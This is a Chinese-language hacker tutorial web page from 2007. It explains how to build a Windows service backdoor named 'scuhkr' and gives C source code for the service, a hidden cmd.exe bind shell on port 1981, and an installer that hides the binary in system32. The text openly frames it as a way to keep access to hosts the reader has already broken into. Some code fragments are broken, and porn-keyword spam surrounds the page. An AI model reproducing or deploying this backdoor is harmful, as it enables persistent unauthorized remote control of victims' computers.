国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

黑客技巧之自己來做服務級的木馬后門
2007-01-25   

以往大多數的木馬/后門都是通過修改系統ini文件(比如Win.ini,System.ini)或修改注冊表的RUN值來實現自啟動的,還有更簡單的是修改Autobat.exe(老大,地球不適合你,你還是回火星吧),但隨著網絡用戶安全意識的提高,連我家旁邊賣茶葉蛋的大媽都知道如何對付這些老方法了。為了適應新時代木馬后門技術的發展要求,一種利用Windows NT/2000/XP系統服務的后門產生了,現在的WinShell,WinEggDrop等眾人皆知的Telnte擴展后門都利用了這種方式。相信很多小菜們對這種后門技術并不了解,所以,我在這里就充個大頭,給大家傳授教業解解惑吧(受害MM目光呆滯,一臉絕望:有了你們這幫人,天下什么時候才能“無賊”啊?)。

前置原理

Windows NT/2000/XP提供的服務既可以指一種特定的Win32進程,也可以指內核模式的設備驅動程序。操作系統的一個稱為“服務控制管理器SCM”的組件被用來裝載和控制這兩種類型的服務。當然,我們說的服務,是指的前者,即我們可以利用的服務是一個在Windows NT/2000/XP下執行的程序。當我們打開“控制面板管理工具服務”,就可以看到右邊有一堆的服務。每一行指定了一個特定服務的屬性,包括名稱、描述、狀態、啟動類型、登錄方式等。

“服務”本身是Windows NT/2000/XP下客戶/服務器軟件的合理選擇,因為它提供了像Unix下后臺程序Daemons(守護進程)的等價物,而且使得創建能夠代表權限低的用戶進行權限高的操作的程序成為可能。像我們熟知的RPC服務,病毒掃描程序以及備份程序都是很適合作為服務進程。

服務能被我們利用作為后門實現自啟動,是因為它有三個很重要的特性:

1. 服務可以被指定為自啟動,在利用傳統的注冊表修改RUN鍵值,添加ini自啟動項等方法的基礎上又多了一種選擇。

2. 服務可以在任何用戶登錄前開始運行,我們可以在服務啟動時加入殺防火墻的代碼。

3. 服務是運行在后臺的,如果不注意,天知道什么時候被人家裝了后門。

服務大都是由服務控制程序在注冊表中維護的一個信息數據庫來管理的,每個服務在HKEY_LOCAL_MACHINESystemCurrentControlSetServices中都可以找到相應的一個關鍵項。服務區別于一般Windows NT/2000/XP程序的主要之處在于服務與服務控制管理程序的合作,在后面的編程中我們將會體會到這一點。

編程實現

一個完整的服務分為安裝服務程序,主體服務程序和卸載服務程序。我們先來寫服務的主體部分,示例代碼如下:

Code:
void main()
{
SERVICE_TABLE_ENTRY ServiceTable[] = 
{
{"scuhkr", BDServiceMain},
{NULL, NULL} //"哨兵"
};
//連接到服務控制管理器
StartServiceCtrlDispatcher(ServiceTable);
}

上面代碼中,我們先給出了一個SERVICE_TABLE_ENTRY結構數組,每個成員描述了調用進程提供的服務,這里我們只安裝了一個服務名為Scuhkr的服務,后面的BDServiceMain()我們稱之為服務主函數,通過回調該函數提供了服務入口地址,它原形的參數必須定義成如下形式:

VOID WINAPI BDServiceMain(
DWORD dwArgc, //lpszArgv參數個數
LPTSTR* lpszArgv //該數組第一個的參數指定了服務名,可以在后面被
              StartService()來調用
);

SERVICE_TABLE_ENTRY結構數組要求最后一個成員組都為NULL,我們稱之為“哨兵”(所有值都為NULL),表示該服務表末尾。一個服務啟動后,馬上調用StartServiceCtrlDispatcher()通知服務控制程序服務正在執行,并提供服務函數的地址。StartServiceCtrlDispatcher()只需要一個至少有兩SERVICE_TABLE_ENTRY結構的數組,它為每個服務啟動一個線程,一直等到它們結束才返回。

本程序只提供了一個服務函數BDServiceMain(),下面我們來下完成這個函數的功能,示例代碼如下:

void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
DWORD dwThreadId; //存放線程ID

//通過RegisterServiceCtrlHandler()與服務控制程序建立一個通信的協議。
//BDHandler()是我們的服務控制程序,它被可以被用來開始,暫停,恢復,停止服務等控制操作
if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",
              BDHandler))) 
return;

//表示該服務私有
ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
//初始化服務,正在開始
ServiceStatus.dwCurrentState = SERVICE_START_PENDING; //
//服務可以接受的請求,這里我們只接受停止服務請求和暫停恢復請求
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
              | SERVICE_ACCEPT_PAUSE_CONTINUE;
//下面幾個一般我們不大關心,全為0
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode     = 0;
ServiceStatus.dwCheckPoint         = 0;
ServiceStatus.dwWaitHint         = 0;
//必須調用SetServiceStatus()來響應服務控制程序的每次請求通知
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);

//開始運行服務
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint   = 0;
ServiceStatus.dwWaitHint   = 0;

SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//我們用一個事件對象來控制服務的同步
if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))
return;

ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwCheckPoint   = 0;
ServiceStatus.dwWaitHint   = 0;

SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//開線程來啟動我們的后門程序
if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0, 
&dwThreadId)))


ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint   = 0;
ServiceStatus.dwWaitHint   = 0;

WaitForSingleObject(hEvent, INFINITE);

CloseHandle(hThread);
ExitThread(dwThreadId);
CloseHandle(hEvent);

return;
}

上面我們調用了一個服務控制函數BDHandler(),由于只是簡單的介紹,我們這里只處理服務停止控制請求的情況,其它暫停、恢復等功能,讀者可以自己完善。下面是對BDHandler()的實現代碼:

void WINAPI BDHandler(DWORD dwControl)
{
switch(dwControl)
{
case SERVICE_CONTROL_STOP:
//等待后門程序的停止
ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
ServiceStatus.dwCheckPoint   = 0;
ServiceStatus.dwWaitHint   = 0;

SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//設時間為激發狀態,等待下一個事件的到來
SetEvent(hEvent);

ServiceStatus.dwCurrentState = SERVICE_STOP;
ServiceStatus.dwCheckPoint   = 0;
ServiceStatus.dwWaitHint   = 0;
//停止
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
break;

default:
break;
}
}

服務控制函數搞定了,下面就剩下主體的后門函數了。本程序借用了許多前輩翻寫過了無數次的后門程序,通過開一個端口監聽,允許任何與該端口連接的遠程主機建立信任連接,并提供一個交互式Shell。為了代碼清晰,我去掉了錯誤檢查,整個過程很簡單,也就不多解釋了,代碼如下:

DWORD WINAPI MainFn(LPVOID lpParam)
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;

WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(1981); //監聽端口
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 2);

varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);

dowhile((varA || varB) == 0);

GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE; //隱藏控制臺窗口

char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);

strcat(szAPP,"cmd.exe");
//開cmd進程
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, 
  NULL, NULL, &startinfo, &processinfo) == 0)
{
  printf ("CreateProcess Error!n");
  return -1;
}

while (true) 
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}

return 0;
}

//線程函數A, 通過管道A來從控制端接受輸入,然后寫入被控制端輸入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);

varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
  recv_buff,
  1024,
  0);
printf("%sn", recv_buff);
WriteFile(hWriteFile,
  recv_buff,
  nByteToWrite,
  &nByteWritten,
  NULL);
}
return 0;
}

//線程函數B, 通過管道B來從被控制端接受輸入,然后寫到控制端輸出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;

CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);

varB = 1;
while (true)

return 0;
}

現在我們成功入侵目標主機,在拍屁股走人之前,怎么也要留個后門,方便下次繼續。那后門怎么留?我們上面寫的都是主體部分,還沒安裝呢。安裝服務的部分其實很簡單,示例代碼如下:

// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL, //服務控制管理器句柄
hService = NULL;   //服務句柄
char szSysPath[MAX_PATH]=, 
szExePath[MAX_PATH]=;   //我們要把我們后臺執行的程序放在這里,一般就是在admin$system32里,
隱蔽性高

if ((hSCManager = OpenSCManager(NULL, //NULL表明是本地主機 
NULL, // 要打開的服務控制管理數據庫,默認為空
SC_MANAGER_CREATE_SERVICE//創建權限
))==NULL)
{
pirntf("OpenSCManager failedn");
return;
}

GetSystemDirectory(szSysPath, MAX_PATH); //獲得系統目錄,也就是system32里面,隱蔽起來
strcpy(szExePath, szSysPath);
strcat(szExePath, "scuhkr.exe"); //應用程序絕對路徑

if ((hService=CreateService(hSCManager, //指向服務控制管理數據庫的句柄
    "scuhkr",   //服務名
    "scuhkr backdoor service", //顯示用的服務名
    SERVICE_ALL_ACCESS, //所有訪問權限
    SERVICE_WIN32_OWN_PROCESS, //私有類型
    SERVICE_DEMAND_START, //自啟動類型     SERVICE_ERROR_IGNORE, //忽略錯誤處理
    szExePath, //應用程序路徑
    NULL, 
    NULL, 
    NULL,
    NULL,
    NULL)) == NULL)
{
printf("%dn", GetLastError());
  return;
}

//讓服務馬上運行。萬一是個服務器,10天半個月不重啟,豈不是沒搞頭?
if(StartService(hService, 0, NULL) == FALSE)
{ 
printf("StartService failed: %dn", GetLastError());
return;
}
printf(“Install service successfullyn ”);
CloseServiceHandle(hService); //關閉服務句柄
CloseServiceHandle(hSCManager); //關閉服務管理數據庫句柄
}

一切都寫完了,我們在本機上測試一下,先把前面的服務主體程序Scuhkr.exe拷貝到系統目錄system32下(如果需要程序自動實現自拷貝的,可以通過CopyFile()來實現,具體怎么做偶就不講了,相信聰明的你三下五除二就能搞定,確實不行就去找WinShell的源代碼來看看吧),然后執行InstallServcie.exe。為了看我們是否安裝成功,有兩個辦法,一是通過控制面板->管理工具->服務,二是利用控制臺下系統自帶的Sc.exe工具,比如:“sc.exe qc rpcss”。看到安裝服務的信息了?是不是很簡單呢!


熱詞搜索:

上一篇:關于WINDOWS故障恢復控制臺RC的介紹
下一篇:黑客技巧之用UDP協議的木馬編寫方法

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
久久精品一区二区三区四区| 亚洲视频一二区| 麻豆国产一区二区| 欧美日韩国产首页| 亚洲一区在线播放| 欧美亚洲一区二区三区四区| 一区二区三区精品视频| 色综合一区二区三区| 国产精品亲子伦对白| 国产成人综合在线观看| 久久精品一区二区三区不卡| 国产精品中文字幕欧美| 精品精品国产高清a毛片牛牛| 免费看欧美美女黄的网站| 51精品久久久久久久蜜臀| 视频一区二区三区入口| 7777精品伊人久久久大香线蕉超级流畅 | 欧美一区二区三区视频在线观看| 亚洲成人先锋电影| 欧美日本韩国一区| 首页国产丝袜综合| 欧美一级久久久| 毛片av一区二区三区| 久久一区二区三区四区| 日韩欧美一级片| 免费久久99精品国产| 欧美电视剧在线看免费| 国产剧情一区二区| 国产精品久久久久久久久快鸭| 不卡的看片网站| 亚洲美腿欧美偷拍| 欧美吻胸吃奶大尺度电影| 三级精品在线观看| 欧美不卡123| 国产99久久久国产精品| 亚洲欧美色图小说| 欧美日韩国产小视频| 久久电影网站中文字幕 | 欧美精品18+| 蜜桃av噜噜一区| 久久九九久精品国产免费直播| 成人午夜视频在线观看| 亚洲色图一区二区三区| 欧美日韩精品二区第二页| 免费成人深夜小野草| 国产日韩欧美在线一区| 99re这里都是精品| 天堂在线一区二区| 日韩免费看网站| a级精品国产片在线观看| 亚洲自拍都市欧美小说| 日韩亚洲欧美在线| 成人免费不卡视频| 午夜视黄欧洲亚洲| 久久亚洲精华国产精华液| av爱爱亚洲一区| 性感美女极品91精品| www久久久久| 色综合一个色综合亚洲| 久久精品国产亚洲一区二区三区| 国产精品网站在线播放| 欧美午夜片在线观看| 极品销魂美女一区二区三区| 国产精品第四页| 欧美一级黄色大片| 99国产麻豆精品| 爽好久久久欧美精品| 中文字幕av不卡| 欧美日韩免费在线视频| 国产成人8x视频一区二区| 亚洲最快最全在线视频| 久久蜜桃一区二区| 91福利精品视频| 国内精品久久久久影院色| 亚洲一区二区三区四区五区黄 | 免费国产亚洲视频| 国产精品久久久久婷婷| 91精品国产色综合久久ai换脸| 成人国产精品免费网站| 午夜激情综合网| 中文字幕一区二区不卡| 精品国产亚洲一区二区三区在线观看| 91免费看`日韩一区二区| 国产专区欧美精品| 污片在线观看一区二区 | 日韩一区二区免费在线观看| 99精品视频一区| 黄色日韩网站视频| 亚洲与欧洲av电影| 欧美激情在线一区二区三区| 3atv一区二区三区| 99麻豆久久久国产精品免费| 美国三级日本三级久久99| 亚洲黄色av一区| 中文av字幕一区| 精品1区2区在线观看| 欧美日韩高清一区二区| 91丨porny丨最新| 国产精品1区2区| 久久精品国产亚洲5555| 视频一区二区中文字幕| 亚洲自拍偷拍麻豆| 日韩理论在线观看| 国产精品久久久久久亚洲毛片 | 欧美三级资源在线| 91丨porny丨在线| 成人污视频在线观看| 久草精品在线观看| 日韩成人一区二区三区在线观看| 亚洲一区在线观看免费 | 韩国v欧美v亚洲v日本v| 日韩成人一区二区三区在线观看| 亚洲成人自拍偷拍| 亚洲午夜精品在线| 亚洲欧美一区二区三区久本道91| 国产精品理伦片| 国产欧美在线观看一区| 欧美大尺度电影在线| 在线电影一区二区三区| 欧美性欧美巨大黑白大战| 色综合视频在线观看| 成人激情视频网站| 福利一区福利二区| 风流少妇一区二区| 国产精品亚洲成人| 国产99久久久久| 国产成人精品午夜视频免费 | 三级久久三级久久| 日日摸夜夜添夜夜添国产精品| 亚洲最大成人网4388xx| 亚洲欧美日韩在线| 国产精品福利一区二区| 自拍偷在线精品自拍偷无码专区| 中文字幕在线一区二区三区| 中文字幕av免费专区久久| 中文字幕在线观看不卡视频| 亚洲色图制服诱惑 | 亚洲福利一二三区| 亚洲第一主播视频| 首页国产欧美久久| 日韩国产欧美在线观看| 青青草成人在线观看| 美女网站色91| 国内精品久久久久影院薰衣草 | 色网综合在线观看| 色哟哟一区二区在线观看| 色偷偷久久一区二区三区| 欧美视频一区二| 欧美一区二区三区免费视频| 欧美成人video| 日韩女同互慰一区二区| 欧美tk丨vk视频| 国产亲近乱来精品视频| 中文字幕第一页久久| 中文字幕在线观看不卡| 亚洲一区二区五区| 免费看日韩精品| 国产馆精品极品| 91一区二区在线| 欧美天天综合网| 欧美一卡二卡在线观看| 久久久国产精品麻豆| 国产精品国产三级国产aⅴ原创| 亚洲在线视频网站| 欧美aaaaaa午夜精品| 国产河南妇女毛片精品久久久| 91小视频在线免费看| 在线播放一区二区三区| 精品成人私密视频| 国产精品二三区| 午夜电影网亚洲视频| 国产尤物一区二区| 一本大道综合伊人精品热热| 337p亚洲精品色噜噜| 国产日韩三级在线| 一区二区三区美女| 极品销魂美女一区二区三区| 99国产精品久久久久久久久久| 欧美精品一二三四| 久久精品视频免费观看| 亚洲精品ww久久久久久p站| 日本不卡视频一二三区| 国产成人免费视频一区| 欧美午夜精品一区二区三区| 久久综合视频网| 亚洲欧美韩国综合色| 玖玖九九国产精品| 99精品视频在线播放观看| 91精品免费观看| 国产女主播视频一区二区| 亚洲综合色区另类av| 国产在线日韩欧美| 日本韩国欧美一区| 精品88久久久久88久久久| 一区二区三区高清不卡| 韩日精品视频一区| 在线观看亚洲精品| 久久精品日韩一区二区三区| 亚洲成人av福利| 成人午夜碰碰视频|